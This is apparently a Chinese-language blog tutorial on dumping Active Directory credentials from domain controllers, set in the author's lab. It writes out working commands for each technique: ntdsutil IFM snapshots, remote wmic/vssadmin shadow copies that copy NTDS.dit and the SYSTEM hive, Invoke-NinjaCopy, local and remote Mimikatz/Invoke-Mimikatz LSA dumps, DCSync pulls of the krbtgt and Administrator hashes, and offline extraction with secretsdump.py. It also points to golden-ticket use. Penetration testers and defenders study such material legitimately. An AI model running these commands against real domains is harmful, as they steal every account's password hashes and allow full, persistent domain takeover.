从域控制器中提取Active Directory数据库(NTDS.DIT)

32 篇文章 11 订阅
5 篇文章 1 订阅

目录

讲在前面:

本地安全机构子系统服务(LSASS)

场景思考

注意

ntds.dit介绍:https://blog.csdn.net/qq_41874930/article/details/108141331

部分方法如下:

使用NTDSUtil的Create IFM在DC上本地捕获ntds.dit文件

使用VSS卷影副本远程拉ntds.dit

使用PowerSploit的Invoke-NinjaCopy远程拉ntds.dit(需要在目标DC上启用PowerShell远程处理)

注意:

使用Mimikatz在本地转储Active Directory凭据(在DC上)

使用Invoke-Mimikatz在本地转储Active Directory凭据(在DC上)

使用Invoke-Mimikatz远程转储Active Directory凭据

使用Mimikatz的DCSync远程转储Active Directory凭据

Impacket的secretsdump.py-读取NTDS.dit内Hash


讲在前面:

从Active Directory中转储凭据的主要技术包括实时与DC上的LSASS交互,获取AD数据文件的副本(ntds.dit)或欺骗域控制器向攻击者复制密码数据(欺骗域控制器我是域控制器)
此处介绍的方法需要提升权限后才可进行,因为它们涉及连接到域控制器以转储凭据。

本地安全机构子系统服务LSASS

Microsoft Windows操作系统中的一个进程,负责在系统上实施安全策略。它验证登录到Windows计算机或服务器的用户,处理密码更改并创建访问令牌。它还写入Windows安全日志。强制终止lsass.exe将导致系统失去对任何帐户(包括NT AUTHORITY)的访问权限,从而提示重新启动计算机

场景思考

用户登录后,将生成各种凭据并将其存储在内存中的本地安全授权子系统服务LSASS进程中。这旨在促进单点登录(SSO),确保每次请求资源访问时都不会提示用户。凭据数据可能包括Kerberos票证,NTLM密码哈希,LM密码哈希(如果密码小于15个字符,取决于Windows OS版本和补丁程序级别),甚至是明文密码(以支持WDigest和SSP身份验证等)。尽管可以阻止Windows计算机在本地计算机SAM数据库(和AD数据库)中创建LM哈希,但这并不能阻止系统在内存中生成LM哈希。默认情况下,除非明确启用,否则Windows Server 2008和Windows Vista将不再为用户生成LM哈希。从Windows 8.1和Windows Server 2012 R2开始,LM哈希和“明文”密码不再存储在内存中。kb2871997中也将此功能“反向移植”到了Windows的早期版本(Windows 7/8 / 2008R2 / 2012),所以需要防止将“明文”密码放置在LSASS中。

注意

对于攻击者而言,很少希望直接在目标系统上运行代码,目前的攻击手法都可以实现不在DC上执行代码就达到获取AD所有账户密码的功能。包括针对远程系统远程运行Mimikatz以转储凭据,通过PowerShell Remoting远程使用Invoke-Mimikatz和DCSync

ntds.dit文件位置: C:\Windows\NTDS\NTDS.dit
system文件位置:C:\Windows\System32\config\SYSTEM
sam文件位置:C:\Windows\System32\config\SAM

ntds.dit介绍:https://blog.csdn.net/qq_41874930/article/details/108141331

部分方法如下:

环境:

  • DC:Windows2016
  • DC:Windows2008
  • 客户机:Win7

注:此处因其介绍的如下方法本身都需要提权后才可进行操作,故笔者部分操作直接在域控上进行操作,望见谅。

笔者在第一次使用该方法时,大家将其称为给域控拍一个快照。

NTDSUtil是一个命令实用程序,用于域控制器处理AD DB (ntdd .dit),并支持为DCPromo创建IFM设置。IFM与DCPromo一起用于“从媒体安装”,因此要升级的服务器不需要通过网络从另一个DC复制域数据。

ntdsutil “ac i ntds” “ifm” “create full c:\temp” q q

IFM集是在以下屏幕截图中c:\temp中创建的NTDS.dit数据库的副本。创建IFM时,将捕获并安装VSS快照,并将ntds.dit文件和关联的数据从其中复制到指定的目标文件夹中。

我们也可以通过WMI或PowerShell远程执行此命令。

利用WMIC(或PowerShell远程处理)创建(或复制现有)VSS

wmic  /node:10.80.0.10 /user:Administrator /password:****** process call create "cmd /c vssadmin create shadow /for=C: 2>&1 > c:\vss.log"

VSS快照完成后,我们然后将NTDS.dit文件和系统注册表配置单元从VSS复制到DC上的c:驱动器。

wmic /node:10.80.0.10 /user:Administrator /password:***** process call create "cmd /c copy   卷影名\Windows\NTDS\NTDS.dit C:\windows\temp\NTDS.dit 2>&1 > C:\vss2.log"

wmic /node:10.80.0.10 /user:Administrator /password:*****  process call create "cmd /c copy 卷影名\Windows\System32\config\SYSTEM c:\windows\temp\SYSTEM.hive 2>&1 > C:\vss3.log"

我们将文件复制到本地计算机。

copy \\10.80.0.10\c$\windows\temp\NTDS.dit c:\NTDS.dit
copy \\10.80.0.10\c$\windows\temp\SYSTEM.hive c:\SYSTEM.hive

这里笔者未能实现通过WMIC传递Kerberos票证来执行相同的操作

Invoke-NinaCopy是一项PowerShell功能,可以利用PowerShell远程处理(必须在目标DC上启用PowerShell远程处理)从远程计算机上复制文件(即使该文件已锁定,也可以直接访问该文件)

Invoke-NinaCopy脚本简介:

Invoke-NinaCopy通过打开整个卷(例如c :)来读取句柄并解析NTFS结构,此脚本可以从NTFS卷中复制文件。只需要你拥有域管理员权限,这样你才可以绕过以下保护措施
    1.由某个进程打开但不能由其他进程打开的文件,例如NTDS.dit文件或SYSTEM注册表配置单元
    2.在文件上设置SACL标志,以在打开文件时发出警报
    3.绕过DACL,例如仅允许SYSTEM打开文件的DACL

如果指定了LocalDestination参数,该文件将被复制到本地服务器(运行脚本的服务器)上指定的文件路径。
如果指定了RemoteDestination参数,则文件将被复制到远程服务器上指定的文件路径。
开启powershell远程执行:Enable-PSRemoting
Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -ComputerName "WIN-OCBQN1EPQUF" -LocalDestination "c:\windows\temp\ntds.dit"

使用DIT Snapshot Viewer,我们可以验证是否成功获取了ntds.dit文件。

注意:

某些情况下通过Invoke-NinjaCopy复制ntds.dit可能会损坏文件

在使用mimikatz获得AD凭据后我们可以发现其中会有krbtgt用户的sid和hash,我们可以用来做黄金票据等工作

lsadump::lsa /inject

Invoke-Mimikatz是由Joe Bialek(@JosephBialek)编写的PowerSploit的一个组件,该组件将Mimikatz的所有功能合并到Powershell函数中。它“利用Mimikatz 2.0和Invoke-ReflectivePEInjection来将Mimikatz反射性地完全加载到内存中。这使您无需将Mimikatz二进制文件写入磁盘就可以执行转储凭证之类的事情。

如果Invoke-Mimikatz以适当的权限运行,并且目标计算机启用了PowerShell Remoting,则它可以从其他系统中提取凭据,以及远程执行标准的Mimikatz命令,而不会将文件拖放到远程系统上执行。

Invoke-Mimikatz可以将DLL编码的元素(32位和64位版本)换成较新的元素来进行更新

Invoke-Mimikatz -Command '"privilege::debug" "LSADump::LSA /inject" exit'

Invoke-Mimikatz -Command  '"privilege::debug" "LSADump::LSA /inject"' -Computer WIN-OCBQN1EPQUF.pingpig.com

DCSync之前的利用方法是在域控制器上运行Mimikatz或Invoke-Mimikatz,以获取KRBTGT密码哈希值来创建Golden Tickets。使用Mimikatz的DCSync和适当的权限,攻击者可以通过网络从域控制器中提取密码哈希以及以前的密码哈希,而无需交互式登录或复制Active Directory数据库文件(ntds.dit)。

运行DCSync需要特殊权限。管理员,域管理员或企业管理员以及域控制器计算机帐户的任何成员都可以运行DCSync来提取密码数据。请注意,默认情况下,不仅允许只读域控制器为用户提取密码数据。

DCSync

DCSync部分命令示例:

在pingpig.com域中提取krbtgt用户帐户的密码数据:

  • lsadump::dcsync /domain:pingpig.com /user:krbtgt

在pingpig.com域中提取管理员用户帐户的密码数据:

  • lsadump::dcsync /domain:pingpig.com /user:Administrator

在pingpig.com域中提取域控制器指定机器帐户的密码数据:

  • lsadump::dcsync /domain:pingpig.com /user:win7test1
lsadump::dcsync /domain:pingpig.com /user:krbtgt

lsadump::dcsync /domain:pingpig.com /user:Administrator

lsadump::dcsync /domain:pingpig.com /user:win7test1-pc$

  • Impacket的secretsdump.py-读取NTDS.dit内Hash

python secretsdump.py -system /tmp/system.hive -ntds /tmp/ntds.dit LOCAL

 

 

 

 

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值